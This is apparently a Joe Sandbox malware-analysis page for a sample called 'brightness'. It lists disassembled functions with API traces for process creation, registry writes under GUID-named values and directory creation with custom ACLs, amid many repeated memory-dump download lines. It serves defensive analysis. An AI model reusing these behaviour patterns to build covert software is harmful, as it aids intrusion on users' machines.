Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$AllocCreateErrorLast$DirectoryFileFolderKnownPathTask__snwprintf
String ID: %s%s$P
API String ID: 2147635370-50959982
Opcode ID: 5c8fbcb67e90c38218031f7d14ba95543438ef2c87d3d64038668abe5baffceb
Instruction ID: 58933a572de9acac404a52de87e2db7b9e5110a21a6f80c7ddaaed8e26f14cac
Opcode Fuzzy Hash: 5c8fbcb67e90c38218031f7d14ba95543438ef2c87d3d64038668abe5baffceb
Instruction Fuzzy Hash: 7F518171A21209EBDB60DFE4ED8CFADB779AF48310F2046A9E515B6190CB749E80CF50

Function 002D6870 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 86
memoryprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D6880
GetSystemDirectoryW.KERNEL32(00000000,00007FFF), ref: 002D689C
LocalAlloc.KERNEL32(00000040,0000FFFE), ref: 002D68B1
__snwprintf.LIBCMT ref: 002D68FD
_memset.LIBCMT ref: 002D6910
CreateProcessW.KERNELBASE(00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000044,?), ref: 002D6957
LocalFree.KERNELBASE(00000000), ref: 002D6966
LocalFree.KERNELBASE(00000000), ref: 002D6970
LocalFree.KERNEL32(00000000), ref: 002D6981
LocalFree.KERNEL32(00000000), ref: 002D698B

Strings

G/, xrefs: 002D68DB
D, xrefs: 002D6918

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Local$Free$Alloc$CreateDirectoryProcessSystem__snwprintf_memset
String ID: D$G/
API String ID: 3926260567-2280607278
Opcode ID: 78d6b0ba3d87bbba5952daa953726d634344937ad518b1c5df98293df399e738
Instruction ID: 2c7ecdd0dabc46322874f77d4e92df77805e29bdfa084435e8943ea37cafd5ea
Opcode Fuzzy Hash: 78d6b0ba3d87bbba5952daa953726d634344937ad518b1c5df98293df399e738
Instruction Fuzzy Hash: 053141B5A50208BBDB10DFA4DC8DFEDBB79AF48700F1045A9F605AB290DB759E84CB50

Function 002D42A0 Relevance: 21.1, APIs: 9, Strings: 3, Instructions: 76
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 002D42D4
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002D42EA

Part of subcall function 002DC570: CreateFileW.KERNELBASE(?,80000000,00000001,00000000,00000003,00000080,00000000,?,002D430B,?,00000000), ref: 002DC58C
Part of subcall function 002DC570: LocalAlloc.KERNELBASE(00000040,000000FF,?,002D430B), ref: 002DC5B6
Part of subcall function 002DC570: ReadFile.KERNELBASE(000000FF,00000000,000000FF,?,00000000), ref: 002DC5D7
Part of subcall function 002DC570: CloseHandle.KERNELBASE(000000FF), ref: 002DC5ED

__snwprintf.LIBCMT ref: 002D4337
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00000102,?), ref: 002D4359
RegSetValueExW.KERNELBASE(?,{30B65D11-E9AA-4938-8C03-D48010908173},00000000,00000003,00000000,00000000), ref: 002D4381
RegCloseKey.ADVAPI32(?), ref: 002D4392
LocalFree.KERNELBASE(00000000), ref: 002D439F
RegCloseKey.ADVAPI32(?), ref: 002D43B3
LocalFree.KERNEL32(00000000), ref: 002D43C0

Strings

SOFTWARE\%s, xrefs: 002D4326
{30B65D11-E9AA-4938-8C03-D48010908173}, xrefs: 002D4375
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002D4321

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: CloseFileLocal$Free$AllocCreateHandleModuleNameOpenReadValue__snwprintf_memset
String ID: SOFTWARE\%s${0D6172E3-C310-454B-A566-1C3CE2B77AB5}${30B65D11-E9AA-4938-8C03-D48010908173}
API String ID: 3188883088-3495461605
Opcode ID: a96803bc9c257794ffe4add909e0b19c41ccd484e2f9453e9e751fa19461523e
Instruction ID: b8ced62379be1499cab22e504eca6d3eb124fff3d1d91a545403118ecea545ce
Opcode Fuzzy Hash: a96803bc9c257794ffe4add909e0b19c41ccd484e2f9453e9e751fa19461523e
Instruction Fuzzy Hash: 6C21D8B5A50318ABD720EB64DC8DFEA7378AB44700F1046D9F21CA6281E7B49ED4CF50

Function 002CFF10 Relevance: 21.1, APIs: 11, Strings: 1, Instructions: 75
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SHGetKnownFolderPath.SHELL32(002F7C00,00000000,00000000,00331178,?,?,?,?,002C15DF,00331178), ref: 002CFF23
LocalAlloc.KERNELBASE(00000040,0000FFFE,?,?,?,?,002C15DF,00331178), ref: 002CFF38
wnsprintfW.SHLWAPI ref: 002CFF67
LocalFree.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00331178), ref: 002CFFEF

Part of subcall function 002D0400: AllocateAndInitializeSid.ADVAPI32(00000000,00000001,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 002D044D
Part of subcall function 002D0400: _memset.LIBCMT ref: 002D0463
Part of subcall function 002D0400: SetEntriesInAclW.ADVAPI32(00000001,FFFFFFFF,00000000,00000000), ref: 002D04A0
Part of subcall function 002D0400: LocalAlloc.KERNEL32(00000040,00000014), ref: 002D04B3
Part of subcall function 002D0400: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 002D04C8
Part of subcall function 002D0400: SetSecurityDescriptorDacl.ADVAPI32(00000000,00000001,00000000,00000000), ref: 002D04DE

CreateDirectoryW.KERNELBASE(?,0000000C), ref: 002CFF9E
GetLastError.KERNEL32 ref: 002CFFA9
LocalFree.KERNEL32(00000000), ref: 002CFFBA
LocalFree.KERNEL32(?), ref: 002CFFC4
CoTaskMemFree.COMBASE(00331178), ref: 002CFFCE
LocalFree.KERNEL32(00000000), ref: 002CFFE5
CoTaskMemFree.COMBASE(00331178), ref: 002CFFF9

Strings

%s\%s, xrefs: 002CFF59

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: FreeLocal$AllocDescriptorInitializeSecurityTask$AllocateCreateDaclDirectoryEntriesErrorFolderKnownLastPath_memsetwnsprintf
String ID: %s\%s
API String ID: 4260852628-4073750446
Opcode ID: a8da270141c01582d64cca0d7a8b17d383257189bf6aa42ecd6db9bedfff3188
Instruction ID: 057841486089dc2972e1ecbc52d03cc9baac376e394d0311910176eec17a1d17
Opcode Fuzzy Hash: a8da270141c01582d64cca0d7a8b17d383257189bf6aa42ecd6db9bedfff3188
Instruction Fuzzy Hash: E3217F75D10209FBDB10DFA8DC89FAEBB79EF48700F108568F605E6290DB749A90CB50

Function 002D43D0 Relevance: 17.6, APIs: 7, Strings: 3, Instructions: 63
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_memset.LIBCMT ref: 002D43F0
GetModuleFileNameW.KERNEL32(00000000,?,00000104), ref: 002D4406
__snwprintf.LIBCMT ref: 002D442A
RegOpenKeyExW.KERNELBASE(80000001,?,00000000,00000102,?), ref: 002D444C
RegSetValueExW.KERNELBASE(?,{09BFD43E-2EE6-4681-8908-07206FCA7CB8},00000000,00000001,?,00000002), ref: 002D447F
RegCloseKey.ADVAPI32(?), ref: 002D4490
RegCloseKey.ADVAPI32(?), ref: 002D44A4

Strings

SOFTWARE\%s, xrefs: 002D4419
{09BFD43E-2EE6-4681-8908-07206FCA7CB8}, xrefs: 002D4473
{0D6172E3-C310-454B-A566-1C3CE2B77AB5}, xrefs: 002D4414

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898154033.00000000005A2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898314115.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898355775.00000000005B2000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898373213.00000000005B3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005B4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005BE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898396396.00000000005CA000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898520113.00000000005CB000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_2c0000_brightness.jbxd

Yara matches

Similarity

API ID: Close$FileModuleNameOpenValue__snwprintf_memset
String ID: SOFTWARE\%s${09BFD43E-2EE6-4681-8908-07206FCA7CB8}${0D6172E3-C310-454B-A566-1C3CE2B77AB5}
API String ID: 496817317-1219366795
Opcode ID: f9c181ac7d4ff44be8145edd52e7b484956220cdd2f7a691a7a929995c1d1eab
Instruction ID: 63649783165fc0915c8a748ab48f2570eb65491bbcc985fe98dcc43d1c2c05bf
Opcode Fuzzy Hash: f9c181ac7d4ff44be8145edd52e7b484956220cdd2f7a691a7a929995c1d1eab
Instruction Fuzzy Hash: 0211CBB5A603147BE724EB60DC8EFE6733C9B44B00F404689B619A6191EAB09ED4CF61

Function 002E60FF Relevance: 15.1, APIs: 10, Instructions: 101
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

_fast_error_exit.LIBCMT ref: 002E617E
_fast_error_exit.LIBCMT ref: 002E618F
__RTC_Initialize.LIBCMT ref: 002E6195
__amsg_exit.LIBCMT ref: 002E61A8
__amsg_exit.LIBCMT ref: 002E61CE
__setenvp.LIBCMT ref: 002E61D4
__amsg_exit.LIBCMT ref: 002E61DF
__cinit.LIBCMT ref: 002E61E7
__amsg_exit.LIBCMT ref: 002E61F2
__wincmdln.LIBCMT ref: 002E61F8

Memory Dump Source

Source File: 00000005.00000002.1896378381.00000000002C1000.00000040.00000001.01000000.00000003.sdmp, Offset: 002C0000, based on PE: true

Associated: 00000005.00000002.1896352252.00000000002C0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.00000000002FC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896378381.0000000000336000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896564887.0000000000340000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896659183.0000000000341000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896741059.0000000000342000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1896864784.000000000034E000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897169354.00000000004A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897192285.00000000004A7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897229613.00000000004CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897287254.00000000004DF000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897311500.00000000004E1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897331050.00000000004E3000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897352309.00000000004E4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897378643.00000000004FD000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897433651.00000000004FE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897453743.0000000000505000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897503437.0000000000510000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897548280.0000000000531000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897625351.000000000053A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897652803.000000000053B000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897709201.0000000000540000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897751930.0000000000557000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897783119.0000000000559000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897811200.0000000000565000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897881697.0000000000566000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1897936270.0000000000571000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.0000000000574000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000005.00000002.1898021340.000000000058A000.00000040.00000001.01000000.00000003.sdmpDownload File
